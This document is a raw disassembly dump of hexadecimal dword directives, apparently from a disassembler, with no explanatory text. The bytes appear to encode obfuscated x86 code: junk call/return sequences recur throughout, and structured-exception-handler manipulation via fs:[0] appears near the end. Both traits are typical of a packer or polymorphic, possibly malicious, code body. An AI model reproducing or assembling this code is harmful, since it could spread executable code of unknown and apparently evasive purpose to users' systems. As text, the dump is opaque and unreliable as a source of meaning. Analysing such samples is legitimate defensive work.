		dd 3105E723h, 0E714698Dh, 4C28305h, 2F59B529h, 508905E7h
		dd 299D8920h, 3305E72Bh, 0E71B11BDh, 32858D05h,	8905EAB7h
		dd 0E705818Dh, 0B8868905h, 6A000000h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E06DC356h
		dd 288E479Fh, 3DBD8901h, 6A05E701h, 0FFDE8B00h,	0EAA350B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 5FB0A87h, 0B7555F6Dh, 4195FF7Ah,	6A05E700h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0AF3FC356h, 0AED53236h, 0FE8DCDAh, 0E4000000h
		dd 0BF28ACh, 0DEA6F8Bh,	0BF0BBF59h, 0BF0F26CDh,	0E9505BFFh
		dd 9, 3D63BF41h, 0C6E5A46Ah, 243489F1h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0BFC35141h, 60ACDC0Dh
		dd 0F34C355h, 8B66DBB7h, 50B5FFFAh, 6A05EAA3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 78CC350h, 0E38ED0CCh, 9D8B4AF0h, 5E72DB9h, 2A0995FFh
		dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0FFE985C3h, 34BF7CB3h, 0BD29DF17h, 5E72135h
		dd 4F9BD83h, 0F0005E7h,	1B84h, 39BD2900h, 9605E72Dh, 60CA8A60h
		dd 6161DAB5h, 67BF6650h, 0BD8B963Fh, 5E727F9h, 0A350B5FFh
		dd 0B86005EAh, 3B085720h, 11E9h, 0B05C1B00h, 106CA522h
		dd 0F99904D4h, 0D647B7A1h, 666120E5h, 0A316F381h, 71D95FFh
		dd 605305E7h, 61EDF080h, 50B5FF5Bh, 6A05EAA3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 2B60C352h, 45BD8BAAh, 0FF05E72Ah, 0E70CC595h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 86D2403h, 63D8589h, 0BD8305E7h, 5E725CDh, 50840F02h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 13C6C351h, 9D2BC51Bh, 5E731B1h
		dd 651858Bh, 8B6605E7h,	0C6FEh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0FDC35040h,	0C74ED707h, 0E70DFD85h
		dd 5, 35BD2300h, 8B05E717h, 0E72F799Dh,	0F43AE905h, 6AFFFFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0B74B67C3h, 6AC18BC1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 14BCC353h, 0DB639D6Fh
		dd 29642D43h, 0E71BDD8Dh, 0B5BD8B05h, 0EB05E70Bh, 0A007F804h
		dd 5BEE913h, 0D5C30000h, 0CAC06FE1h, 0D2DF64E4h, 0CED966EAh
		dd 0EDD562EEh, 235263EDh, 0D57B434Fh, 0D57B434Eh, 0D37D5D4Eh
		dd 0EE624444h, 5A2E8BDBh, 59C69E52h, 0D357C2Ah,	40D7FD35h
		dd 298E0CD0h, 0C3751147h, 0DD30735Ch, 5CE3EBCBh, 36176B53h
		dd 72BC8BF7h, 6DBF8444h, 8C297457h, 0C3751124h,	419DEE3Fh
		dd 2A705676h, 5DA1F2C3h, 0DCE22A75h, 614CAFFEh,	0CC3B0727h
		dd 0D5A2F8DEh, 94B414B2h, 0D55263ACh, 0D07A6E94h, 36176BB4h
		dd 0AB55EDE5h, 6E69B2BFh, 0B07CF033h, 8CA627F8h, 0AA89114Bh
		dd 0EA664647h, 0CD61485Dh, 0ABCA787Fh, 39190D7Ch, 67BB84E5h
		dd 0D5292D18h, 0BC82A0EAh, 26745873h, 0DB1D982h, 23E4E269h
		dd 0CB2A0C1Ch, 4987A7E4h, 0B684AAE2h, 75E77EC3h, 81A1E5C3h
		dd 774772BDh, 0BCEFC22Bh, 5AA08686h, 0F4DC2273h, 75E75F21h
		dd 0A40B54C3h, 0D219A525h, 930D17B3h, 0B167D989h, 72h
		dd 1D2B1129h, 6067C6FAh, 7A525505h, 0CFB30654h,	5EC375E2h
		dd 0E65E8B0Fh, 0BF6917BEh, 1C370F6Fh, 9F8FA94Eh, 97099CDFh
		dd 0B567D8C2h, 1, 44785231h, 0B2B7D5Bh,	0B985D637h, 2D0D1950h
		dd 95B1FEDCh, 18321DB5h, 0A685E43Ah, 183C6F58h,	98A0E9B6h
		dd 0F39A655Dh, 715175D7h, 685870DFh, 2707063Eh,	29A188D6h
		dd 75E2248Ch, 9DEE3FC3h, 0D359FB3h, 6ECBEB22h, 0C375E29Ah
		dd 66D4899h, 93DC2218h,	0BC9C85BBh, 0E03E0F5Eh,	297B1FCCh
		dd 2877D9E1h, 0E5C9C0E0h, 311E4694h, 80E93515h,	79414EA5h
		dd 74123925h, 6464FBB3h, 8106C449h, 0E32428B1h,	0B5F0C1CCh
		dd 0D91A7EE6h, 656E67h,	52780000h, 3F085664h, 0A880CAF2h
		dd 1145FEFAh, 9F67BC9Ah, 0ABC7B9C4h, 58271B5Ah,	0F3B8931h
		dd 0DFCCEAD1h, 794AA3FFh, 2F1B2028h, 0E8361631h, 7A6AB081h
		dd 194EDD5h, 0C37589BFh, 0C41A6BB4h, 60AB86E5h,	1B644A42h
		dd 56701BC7h, 0D921E242h, 398267h, 52C40000h, 3F085664h
		dd 34F0CEEEh, 0C9F15377h, 528B5FF1h, 0B1045A78h, 0C375E2CCh
		dd 82963053h, 67D98E12h, 1232h,	48E0A800h, 901F9018h, 0F1473CDDh
		dd 0F2C37581h, 521442A1h, 3E095565h, 0CEF2C8EEh, 0E22F7D1Dh
		dd 63AFF0DAh, 1FD4185Bh, 9860B5D1h, 9BC375E2h, 4451794Ah
		dd 0C95D13C7h, 430B43ACh, 92D38276h, 0F6F408C6h, 4074F433h
		dd 7B47A6F7h, 0FCDAC46Bh, 16C4F9Eh, 0C9F13907h,	662ED6F8h
		dd 92BFED53h, 0D095E6C6h, 0C692BF68h, 15DB1A6Bh, 0AC14A169h
		dd 39C692BFh, 98F1CDEDh, 50BFFECFh, 0B5085678h,	0C692BFC1h
		dd 0B494BBEBh, 257D4C92h, 0CEB50208h, 0C497D63Dh, 9D2901C2h
		dd 0A38518EEh, 0BFE9C427h, 0C58DB19Fh, 92BD08F0h, 0E03A0BC6h
		dd 16040BCFh, 86EDC8CBh, 6D5AA086h, 0A3C71B3Bh,	0DD559E38h
		dd 0CFEA3BC3h, 0C6922D79h, 0C6D1297Ah, 78579695h, 0CDC20E50h
		dd 61F1F353h, 15371h, 14A16900h, 0C69245ACh, 431756A7h
		dd 1E3C6A35h, 304CA0DFh, 75E213E5h, 0D0D910C3h,	6ABB92E8h
		dd 0C189B119h, 75E20CF4h, 0F73607C3h, 5CF72512h, 1C23EBC9h
		dd 0FA4E2B13h, 0F9C692F6h, 0AFF84DA8h, 0B246453h, 604A888Bh
		dd 0BB95E64Ch, 46F0B38Bh, 8C98C84Dh, 644A42B1h,	0A91FBA62h
		dd 0AAC69205h, 0BC241A59h, 4694B893h, 3C020867h, 41AC8FDEh
		dd 771B6747h, 3E01C2C4h
		dd 95F4CAF0h, 0D517B56h, 0A754CCC3h, 447061F1h,	6E000000h
		dd 9DE1D9C1h, 279714Ch,	310530EDh, 0B5CBEEE0h, 0CEC375E3h
		dd 0E3875CF4h, 0CF18E51Ch, 0BE4BE3F3h, 9BBB9020h, 12F82A43h
		dd 0CB8276D3h, 9B48C375h, 2DEEFDFFh, 0CA7810A5h, 2A7BC375h
		dd 867526h, 2A50000h, 0FFA72FEEh, 43457B50h, 0FDCC1263h
		dd 0E8F4D9BEh, 0A0F1C95Ch, 1B3B6D5Ah, 113E6E35h, 39CC11F9h
		dd 0D42A7BCFh, 92A29261h, 0D1F9B2C6h, 236B5973h, 9DEE3F03h
		dd 70450D35h, 0C692A088h, 0BFDBA8Bh, 8C692A0h, 0FBDBF03Fh
		dd 31BFB4B8h, 3AAC1365h, 7C4D1517h, 387D4F6Ah, 2576CC86h
		dd 98BEEED9h, 2DAD3E42h, 6C6857F8h, 9F7E7211h, 0C89AE237h
		dd 0C768C2B2h, 3784E7C7h, 82BA6AE6h, 804C588Fh,	0E3F736A9h
		dd 1D3D6A35h, 0F68DE8C1h, 44FB12FAh, 931D89D0h,	0FB270842h
		dd 98E9C9DDh, 9FE1A846h, 230217B2h, 113E0EABh, 63CCC961h
		dd 39A10E37h, 306A961Ah, 0F83784E7h, 58B18DD1h,	3EDDA376h
		dd 85D6C699h, 0F1966B4h, 928FA72Fh, 2F044BF2h, 1BD31349h
		dd 206334C3h, 0A3FFDFC9h, 5EE56B4Ah, 4212684Eh,	574BAEAh
		dd 5796772Eh, 2DC0DAF2h, 0DF87CFDCh, 0E43E8217h, 0E435DF4Dh
		dd 4DE4B90Fh, 1A60BADFh, 9A531598h, 0B0230253h,	4C92BA16h
		dd 0B195B79Ch, 2B0B026Dh, 9E38A3D7h, 0E1C1CA55h, 477DAF82h
		dd 0BE106145h, 5497B791h, 0B599B398h, 37269h, 23A40000h
		dd 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh
		dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh,	545502E4h
		dd 4C5815Dh, 83000000h,	2C8704EDh, 89525C24h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 242C895Ch, 304368h, 243C8900h
		dd 8904EC83h, 91B9240Ch, 8905EBB0h, 8B5459CDh, 0C481243Ch
		dd 4, 4EC81h, 2C890000h, 8478F24h, 51243C8Bh, 0C181E189h
		dd 4, 8704C183h, 0FF5C240Ch, 835D2434h,	30E904C4h, 19FFFBC7h
		dd 0C160183Dh, 0BA78CACCh, 0EBB5D5B8h, 0FFC50305h, 1ABDF9E0h
		dd 0CF850164h, 8CED7103h, 3E709C53h, 1D44C916h,	0BD07F355h
		dd 784D7F11h, 5CDA8C4Dh, 0C75C014Ch, 0E7128E66h, 0D7A18266h
		dd 25413E1Ah, 3D4F7C01h, 0D5B5987Fh, 89BABB58h,	0CA60EA03h
		dd 0C6F6413Ch, 3F39650Ah, 0F9858D41h, 6A05E71Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4EF1C357h, 0E8FA8B66h, 10h, 62E66392h, 9517072h, 0D300FD4h
		dd 5DE943B7h, 0EEF78166h, 85895F99h, 5E72081h, 0CE950h
		dd 0F3D00000h, 0E28AEF54h, 8111533Dh, 489626Bh,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 8FF8031Fh, 801E03C5h, 2C39BD8Bh, 6A05E7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 3C35141h, 0CE956h
		dd 0F7E50000h, 0B292F890h, 37A02DE7h, 6A7EAFh, 38B0Fh
		dd 0BF0F0000h, 0CC858DFEh, 6A05EBB8h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 9093C357h
		dd 3ABAB064h, 0BF0FA58Eh, 5C083F9h, 6E9h, 6A19F900h, 50A0B5B8h
		dd 0FA8B6650h, 2404895Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 3EC35545h, 6A8016h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 26C35242h, 25E91BF7h, 3006ABFh
		dd 0E70945BDh, 0B59D8B05h, 0FF05E731h, 0E702C595h, 5EBF6605h
		dd 148D8DDCh, 6A05EA95h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0FEB6C356h,	7A4C9B76h
		dd 43B75787h, 6AD1FF5Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 7DAC353h, 0DBE0493Ah
		dd 83F5DFEEh, 0E707F1BDh, 850F0105h, 71h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 9DC35646h, 0C7076D7Dh
		dd 8B026AD4h, 0E70BE9BDh, 0DE8A5005h, 8B240489h, 4195FFD8h
		dd 6A05E700h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0FD94C356h, 66C74650h,	12E9DE8Bh
		dd 0F5000000h, 33137EFBh, 76680CE2h, 6F599DDDh,	9E6ACF88h
		dd 0D35E9BFh, 0E80000h,	5D000000h, 0B8D6ED81h, 0DA8B05EBh
		dd 1235BD8Bh, 858D05E7h, 5EA8F5Bh, 6690DF8Bh, 9050D98Bh
		dd 35FF64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B51DC356h,	11DF2BF3h
		dd 0F52C7F5h, 685h, 4D8D0100h, 6605E708h, 8964D98Bh, 25h
		dd 85FFFC00h, 5E71CE1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0BEC35646h, 6AFF6A76h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0AFDCC352h
		dd 0D8BF0FCDh, 19E5B5FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0E9BBADC3h, 0F7F61485h
		dd 29C195FFh, 5AE905E7h, 0B0000001h, 0E6D88A00h, 8B666070h
		dd 71E461F9h, 0AE9h, 0C7B8FC00h, 4E9D307Fh, 3C5924EFh
		dd 36830F61h, 60000001h, 0FF78B66h, 1985h, 14E900h, 0DFC40000h
		dd 7236EFB0h, 90663FFCh, 611B2FF1h, 90FA3ED8h, 0F6112A5h
		dd 0D86h, 6E800h, 6CA80000h, 0C11C42C5h, 0B60F5BF9h, 79BD8BC8h
		dd 0BA05E715h, 6, 20759D89h, 0C18B05E7h, 28E0Fh, 0D88B0000h
		dd 0E804E8C1h, 10h, 401B705Ch, 0A2AA8BFh, 55F37F80h, 47740614h
		dd 0DE9h, 4BF17400h, 0B57CB106h, 0E7E8CA5Ch, 665BDBE3h
		dd 0B531E2F7h, 5E72141h, 8166C82Bh, 8BCF98EFh, 8DCB80D1h
		dd 9CE9h, 6890F00h, 1000000h, 0E70E8D85h, 0DE905h, 0C7F10000h
		dd 27F45D6Eh, 440C9EB9h, 8BF839A8h, 885h, 0C9B53100h, 8305E703h
		dd 8B6607C0h, 0C083DFh,	7299D89h, 0D03B05E7h, 0E830Fh
		dd 85890000h, 5E72DCDh,	50E9h, 0DA8B6600h, 0FFFF8D8Bh
		dd 9D03FFFFh, 5E721C9h,	0F01E183h, 3884h, 199D8B00h, 8305E707h
		dd 0FFFFFFA5h, 860FFEFFh, 5, 314AFABFh,	8958952h, 8B000000h
		dd 0EE9DAh, 0D61C0000h,	8D38449Ch, 8720FFE0h, 83B6114Eh
		dd 0E9h, 44B58D00h, 8905EB35h, 0E70E59BDh, 0F98B6605h
		dd 0B589006Ah, 5E70CF9h, 1A1D95FFh, 0B9F505E7h,	0F47h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AEC35545h
		dd 4BC085DDh, 0BD33EA47h, 5E72B71h, 0B7FCE183h,	0F52FC8Ah
		dd 0F5FD9BFh, 1585h, 10E900h, 68750000h, 0AFBE4649h, 9E73687Fh
		dd 1BF1A4C6h, 0C02B44D3h, 3ED78166h, 0BA5Ch, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 152623C3h, 0D2E35080h, 6638DA82h, 0A2B0EF81h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 6AFC8Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 7A45DEC3h, 528F6566h
		dd 2C0D9D8Bh, 0F5B05E7h, 0F8Fh,	6E800h,	72930000h, 0EBF27677h
		dd 5BFB8B66h, 880Dh, 2D9D2B00h,	8B05E709h, 0E7231595h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 3319A06Fh, 0CB00FF00h, 9D014754h
		dd 5E72A5Dh, 259D0150h,	5B05E72Fh, 8B98D8Bh, 6A05E7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 5803BFC3h, 0E8DAD3D1h, 0Ah, 0EBDC32C7h, 3F25694Dh, 8B0FD8A9h
		dd 6, 7799D89h,	505F05E7h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 68B0F58h,	89000000h, 0E7085185h, 14E905h
		dd 0FF290000h, 1325D5F3h, 55F67260h, 1B98DCB9h,	41AD0428h
		dd 0BD8395C6h, 5E7211Dh, 3D840F00h, 81000000h, 0CB550CCBh
		dd 0B81Ch, 81660000h, 8DAA44EFh, 0E74DFA8Dh, 79B50105h
		dd 0FF05E707h, 53006AE1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 1B1AE5B0h, 0C99BD83h
		dd 0F0005E7h, 3FC84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0F7B5399Fh, 11BD3660h
		dd 83FB8B4Bh, 0E70C99BDh, 840F0105h, 3E4h, 0A99D89h, 2B305E7h
		dd 0C99BD83h, 0F0305E7h, 39986h, 13E900h, 0CC480000h, 4C5AD703h
		dd 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 10E9A3h, 5A470000h
		dd 9E84391Ch, 0E8BB2611h, 517A4EEEh, 29608553h,	0E7000DB5h
		dd 0D98C6605h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	94C35646h, 66938B84h, 9A0CC781h, 599D8BF5h, 8005E715h
		dd 6A04E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 13BA3BC3h, 0FC90A8Fh, 11984h, 25BD8B00h
		dd 8B05E721h, 0E7072D85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0EE65CF09h
		dd 8B469801h, 0E703ADBDh, 81853305h, 5005E72Eh,	4895B56h
		dd 7890F24h, 0F000000h,	180h, 6AF800h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 4AC35242h, 54BFCFB2h, 682689BCh
		dd 3E88461Fh, 0AE8h, 751C600h, 9D8A60FBh, 0BF1CE9D0h, 7F9A345h
		dd 2434815Bh, 3E9745E0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 2C35545h, 74F88278h, 5859D89h, 95FF05E7h
		dd 5E720E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	2C35545h, 8BC744F9h, 43798A74h,	8589F50Bh, 5EAA350h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 16C35343h
		dd 90CAF4DAh, 0A867DBBBh, 17FE95Fh, 0BB660000h,	858BCF77h
		dd 5EAA348h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	7C35343h, 7E86Dh, 0C8DA0000h, 948E3B6Bh, 2BA9BF33h
		dd 0C75B58CAh, 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BB6643B1h, 0B58BF472h
		dd 5EAA34Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0DCC35242h, 0FFCB8166h,	81858BB7h, 6A05E700h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 42D7C350h, 0F3814886h, 1626D1D3h, 0BD8B0689h, 5E704DDh
		dd 72D858Bh, 0BEB705E7h, 6A044689h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 126C350h
		dd 3B035060h, 0F781E3A6h, 79DB5662h, 44BF6650h,	24348900h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2FC35545h
		dd 3DD48716h, 64FBCB25h, 0A348B5FFh, 8A0F05EAh,	2, 23683AB7h
		dd 0BF32EA52h, 356195C1h, 0DC243481h, 8D32F551h, 0EAA35085h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 805D434Bh, 5090B9DBh, 0D98B6652h, 0BB66310Fh
		dd 585AEE76h, 90A7B750h, 20E595FFh, 665105E7h, 4453D781h
		dd 6A615Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0F942D0C3h, 0BEF92C04h, 0A899D8Bh, 85C705E7h
		dd 5E70C99h, 3,	20DD9D8Bh, 0BD8305E7h, 5EAA350h, 33840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 8E8CC352h, 8BA40867h, 0E72CE9BDh
		dd 23E905h, 31530000h, 0E704B995h, 30505F05h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0EE8C0h
		dd 0E5CF0000h, 0EF04329Fh, 231BE13Ah, 2FBBFB20h, 0BD83F55Bh
		dd 5E70C99h, 4C850F03h,	6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 84EAC357h
		dd 50BD8311h, 5EAA3h, 421840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F1B061C3h
		dd 9CC92F4Fh, 0D9BD8BA1h, 0FF05E707h, 0EAA350B5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 511AFB11h, 8EEB87F3h, 9D13EF81h, 9D89636Bh, 5E708BDh
		dd 2D6995FFh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8BAECEC3h, 0E70A99BDh, 53D38105h
		dd 8B423F74h, 0EAA344B5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 43BFFF20h
		dd 8970D7A7h, 0E71649B5h, 106C705h, 0F9000100h,	0BB665396h
		dd 505B8CF6h, 10E8BB50h, 965F7CC1h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0AEC35646h,	33E747BEh, 0E72C4DBDh
		dd 65858905h, 0FF05E715h, 0EAA350B5h, 0B9BD8B05h, 5305E730h
		dd 5FDAB70Fh, 247D95FFh, 0BD8905E7h, 5E7228Dh, 0A344B58Bh
		dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0DDB934C3h, 11E19036h, 0C5958907h, 8B05E700h
		dd 0E703CD85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 41F204D7h, 0C48689h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 8044A4C3h, 12C2CE9h,	15958B2Eh, 8905E723h, 0E726B195h
		dd 4C28305h, 959D3150h,	5B05E705h, 508960B3h, 57006A20h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8850F31h, 57000000h,	800Fh, 8D5F0000h, 0EAB73285h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 7F33FEBDh, 0B0BBE381h, 86890C25h, 0B8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 1BC35343h, 7B5C14FBh
		dd 0FE0BA0F1h, 859D8B71h, 8B05E712h, 0E70D899Dh, 41BD3305h
		dd 6A05E72Dh, 85096000h, 5E72545h, 13E8h, 12D7EB00h, 6846DB38h
		dd 552200E0h, 61C90A0Dh, 0DC71413Eh, 1611BD89h,	615B05E7h
		dd 0A350B5FFh, 8F0F05EAh, 0
		dd offset loc_4195FA+5
		dd 0BD8B05E7h, 5E71F79h, 4A3EBB66h, 0F9965096h,	0A350B5FFh
		dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8BA09EC3h, 0E70301BDh, 1B58905h, 0F05E704h
		dd 95FFFABFh, 5E72A09h,	29BD9D2Bh, 0BD8305E7h, 5E704F9h
		dd 44840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 366C357h, 9B8ACE71h
		dd 0F5B5060h, 6696F8B7h, 50E80EBFh, 1D91BB66h, 0DE996h
		dd 0E4450000h, 4CD568C1h, 0DDD55BECh, 0FF7FF73Ah, 0EAA350B5h
		dd 0CE905h, 7B3F0000h, 87878F4Ah, 6E8093CFh, 95FF5AC0h
		dd 5E7071Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0EEC35545h, 0B9EE6D5Ah,	9D8B3847h, 5E72251h, 75D9D8Bh
		dd 0B5FF05E7h, 5EAA350h, 4E5B589h, 95FF05E7h, 5E70CC5h
		dd 98D9D31h, 0BF6605E7h, 0BD83E145h, 5E725CDh, 68840F02h
		dd 52000000h, 1B51BD8Bh, 8B5B05E7h, 0E7065185h,	55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0CB608250h, 810F4A74h, 3, 0C6D8B70Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 8F10EDC3h, 89DB116Dh, 0E70F3D85h, 0BD9D2305h, 0C705E704h
		dd 0E70DFD85h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E94ED00Ch, 0FFFFF3A1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D5C35242h
		dd 0A59258BFh, 9D9D3156h, 8B05E701h, 56006AC1h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 290C794Dh
		dd 0BF0F240Eh, 8DFE8ADBh, 0E71AF985h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 4B88BB06h, 0BD8B7E8Fh, 5E71641h, 6E850h, 0BF2E0000h
		dd 0CA07AA76h, 14E9h, 0F3B09300h, 4D50CAB4h, 0C6594270h
		dd 0ACD5487Dh, 0D613734Bh, 4895BF9h, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 4839585Bh
		dd 0BCEB8166h, 595291Eh, 0F05E700h, 68Eh, 7DB58900h, 6A05E726h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 7866BC5h, 0A50F6F16h, 4850F51h, 66000000h
		dd 5F55F3BFh, 0BE8006Ah, 31000000h, 4D932A03h, 0AB548F81h
		dd 0BD89F77Ch, 5E716A9h, 0CF858D5Bh, 2905EBC7h,	0E71609B5h
		dd 5C08305h, 5F8FC381h,	0BF506FACh, 60875F73h, 0E8240489h
		dd 0Ch,	9A328D82h, 271CA8B1h, 3F64ED11h, 2BC9B589h, 6A5F05E7h
		dd 6E900h, 0A5540000h, 3B8141EEh, 8B66006Ah, 0C595FFFBh
		dd 6605E702h, 8D3A24BFh, 0EA95148Dh, 0F9BF0F05h, 6AD1FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 21D88AC3h, 8321D116h, 0E707F1BDh, 850F0105h,	68h, 29E18529h
		dd 26A05E7h, 0FCC38166h, 0F52908Fh, 285h, 5B5B5600h, 0E8BF6650h
		dd 6A9098h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 9DADE8C3h, 4195FFF9h, 6A05E700h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0ADDBC356h, 0F73CC4BEh, 0C13DBF66h, 0DC8E9h,	0E800h
		dd 815D0000h, 0EBC7D9EDh, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 185A0B5Ch
		dd 0F8EC807h, 6AFBB7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8D423CC3h, 0EA8F5B85h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 8D3374D2h, 4B4B64B9h, 0BE8CDE0h, 0B2000000h,	33346BC3h
		dd 0D95CD2CDh, 8166827Ah, 5F9002CBh, 14E850h, 78030000h
		dd 50E32E5Dh, 0F307194Ch, 5EBDA5FDh, 2A9F8DF1h,	0ECB74517h
		dd 2404895Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	5AC35242h, 35FF64h, 89000000h, 0E72BC9B5h, 25896405h
		dd 0
